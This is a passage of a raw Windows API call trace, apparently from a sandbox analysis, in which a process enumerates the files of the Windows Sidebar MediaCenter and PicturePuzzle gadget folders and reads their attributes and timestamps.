ftCreationTime.dwLowDateTime=0xc90621ad, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90621ad, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69c, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_MCELogo_mousedown.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc908830a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc908830a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69c, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_MCELogo_mouseout.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc908830a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc908830a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_MCELogo_mouseover.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90ae467, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90ae467, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_play.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc908830a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc908830a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_mousedown.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90ae467, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90ae467, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_mouseout.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90ae467, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90ae467, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_mouseover.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90d45c4, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90d45c4, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x61ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="default_thumb.jpg", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90d45c4, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90d45c4, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1682, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehshellLogo.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90d45c4, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90d45c4, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd92, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout_background.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Flyout_Thumbnail_Shadow.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc912087e, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc912087e, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x24db4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Main_Background_Loading.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91469db, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc91469db, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Main_Background_QuickLaunch.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91469db, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc91469db, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x86e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Main_Gradient.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc916cb38, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc916cb38, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Star_Empty.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc916cb38, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc916cb38, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Star_Full.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc916cb38, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc916cb38, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Star_Half.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9192c95, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9192c95, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_Waitcursor.gif", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9192c95, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9192c95, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadget_WMC_LogoText.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="main_background.png", cAlternateFileName="")) returned 1 [0080.711] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="main_background.png", cAlternateFileName="")) returned 0 [0080.711] GetLastError () returned 0x12 [0080.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1248598) returned 1 [0080.711] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12486a0) returned 1 [0080.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1248490) returned 1 [0080.712] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.713] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.713] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.713] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.713] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.714] NtClose (Handle=0x174) returned 0x0 [0080.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248490 [0080.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12486a0 [0080.715] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.715] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.715] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbf39ab, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fbf39ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xecdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1 [0080.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1248598 [0080.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe7f8 [0080.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x124a488 [0080.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.716] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x71a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0080.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe818 [0080.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x124a590 [0080.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.718] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x71a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0080.718] GetLastError () returned 0x12 [0080.718] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0080.718] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.718] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.718] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbf39ab, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fbf39ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xecdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1 [0080.718] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x71a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0080.718] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x71a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0080.718] GetLastError () returned 0x12 [0080.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12486a0) returned 1 [0080.718] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1248598) returned 1 [0080.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1248490) returned 1 [0080.719] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x294e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="")) returned 1 [0080.719] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a59d04, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x9e9e7900, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xe17d845, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCESidebarCtrl.dll", cAlternateFileName="")) returned 1 [0080.719] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5862, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0080.719] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5862, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0080.719] GetLastError () returned 0x12 [0080.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.719] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.719] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturePuzzle.Gadget", cAlternateFileName="")) returned 1 [0080.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.719] GetFileAttributesExW (in: 